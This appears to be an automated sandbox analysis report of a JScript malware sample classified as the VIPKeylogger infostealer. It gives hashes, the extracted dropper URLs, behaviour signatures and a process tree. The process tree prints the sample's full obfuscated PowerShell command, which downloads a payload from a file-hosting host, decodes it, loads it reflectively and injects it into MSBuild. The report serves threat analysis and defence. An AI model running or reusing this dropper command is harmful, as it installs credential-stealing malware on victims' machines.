Analysis

  • max time kernel
    112s
  • max time network
    205s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20250217-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20250217-enlocale:en-usos:windows10-2004-x64system
  • submitted
    27/02/2025, 11:23

General

  • Target

    1092817034_DCTAZ100_2025_23176136_1.jse

  • Size

    309KB

  • MD5

    d97ac5a9ac461d2137606480b79db1c4

  • SHA1

    dda801ef5e48dd7510e7cb8380f316d7a7147265

  • SHA256

    98c41f03c8e8c2b2246014f1cb0a49b2b71afc60c0e83ed33e5ad4e783418703

  • SHA512

    283b076b0ca30bee97e1da8d87460bc6668533608c26370325a0273070bce38165ce2be3eb75662eaa85b6176076fc1fc6f15c2970006d2bc817e714c5735638

  • SSDEEP

    3072:5vJ5HovJ5HovJ5HovJ5H7vJ5HovJ5HovJ5HovJ5H4vJ5HovJ5HovJ5HovJ5HuGnG:L4BL

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
ps1.dropper

https://3005.filemail.com/api/file/get?filekey=YGeeUqxByC2SUnRwBS5PxBChMdOlgJICDX-dOV3RIbLORoveuNxkFvLqz9DkMXM&skipreg=true&pk_vid=342803d1cc4e3b80174013691680a5ef

exe.dropper

https://3005.filemail.com/api/file/get?filekey=YGeeUqxByC2SUnRwBS5PxBChMdOlgJICDX-dOV3RIbLORoveuNxkFvLqz9DkMXM&skipreg=true&pk_vid=342803d1cc4e3b80174013691680a5ef

Extracted

Family

vipkeylogger

Credentials

Signatures

  • VIPKeylogger

    VIPKeylogger is a keylogger and infostealer written in C# and it resembles SnakeKeylogger that was found in 2020.

  • Vipkeylogger family
  • Blocklisted process makes network request 2 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Accesses Microsoft Outlook profiles 1 TTPs 3 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Looks up external IP address via web service 3 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Suspicious use of SetThreadContext 1 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Command and Scripting Interpreter: JavaScript 1 TTPs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • System Location Discovery: System Language Discovery 1 TTPs 1 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

  • Suspicious behavior: EnumeratesProcesses 4 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 10 IoCs
  • outlook_office_path 1 IoCs
  • outlook_win_path 1 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    C:\Windows\System32\WScript.exe "C:\Users\Admin\AppData\Local\Temp\1092817034_DCTAZ100_2025_23176136_1.jse"
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4800
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -Command "$nahcolite = '#x#.0fc/d1/moc.as.pps//:sp##h';$brandwine = $nahcolite -replace '#', 't';$overripeness = 'https://3005.filemail.com/api/file/get?filekey=YGeeUqxByC2SUnRwBS5PxBChMdOlgJICDX-dOV3RIbLORoveuNxkFvLqz9DkMXM&skipreg=true&pk_vid=342803d1cc4e3b80174013691680a5ef';$oversubscribing = New-Object System.Net.WebClient;$Catapres = $oversubscribing.DownloadData($overripeness);$straped = [System.Text.Encoding]::UTF8.GetString($Catapres);$ribeyes = '<<BASE64_START>>';$alcanna = '<<BASE64_END>>';$incensory = $straped.IndexOf($ribeyes);$flitterchack = $straped.IndexOf($alcanna);$incensory -ge 0 -and $flitterchack -gt $incensory;$incensory += $ribeyes.Length;$smolt = $flitterchack - $incensory;$tenotome = $straped.Substring($incensory, $smolt);$medallion = [System.Convert]::FromBase64String($tenotome);$JITEM = [System.Reflection.Assembly]::Load($medallion);$performic = [dnlib.IO.Home].GetMethod('VAI').Invoke($null, [object[]] @($brandwine,'','','','MSBuild','','','','','','','','','',''))"
      2⤵
      • Blocklisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of SetThreadContext
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:2140
      • C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
        "C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"
        3⤵
        • Accesses Microsoft Outlook profiles
        • System Location Discovery: System Language Discovery
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        • outlook_office_path
        • outlook_win_path
        PID:2324

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

Loading Replay Monitor...

Downloads

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_cr1xhu5t.cvf.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/2140-15-0x000001CC3B110000-0x000001CC3B11C000-memory.dmp

    Filesize

    48KB

  • memory/2140-19-0x00007FFA30C70000-0x00007FFA31731000-memory.dmp

    Filesize

    10.8MB

  • memory/2140-12-0x00007FFA30C70000-0x00007FFA31731000-memory.dmp

    Filesize

    10.8MB

  • memory/2140-13-0x00007FFA30C70000-0x00007FFA31731000-memory.dmp

    Filesize

    10.8MB

  • memory/2140-14-0x000001CC3D7C0000-0x000001CC3D9C4000-memory.dmp

    Filesize

    2.0MB

  • memory/2140-1-0x00007FFA30C73000-0x00007FFA30C75000-memory.dmp

    Filesize

    8KB

  • memory/2140-11-0x000001CC3D310000-0x000001CC3D332000-memory.dmp

    Filesize

    136KB

  • memory/2324-16-0x0000000000400000-0x0000000000448000-memory.dmp

    Filesize

    288KB

  • memory/2324-20-0x0000000005E10000-0x00000000063B4000-memory.dmp

    Filesize

    5.6MB

  • memory/2324-21-0x0000000005960000-0x00000000059FC000-memory.dmp

    Filesize

    624KB

  • memory/2324-22-0x0000000006E10000-0x0000000006FD2000-memory.dmp

    Filesize

    1.8MB

  • memory/2324-23-0x0000000006C90000-0x0000000006CE0000-memory.dmp

    Filesize

    320KB

  • memory/2324-24-0x0000000006FE0000-0x0000000007072000-memory.dmp

    Filesize

    584KB

  • memory/2324-25-0x0000000006DB0000-0x0000000006DBA000-memory.dmp

    Filesize

    40KB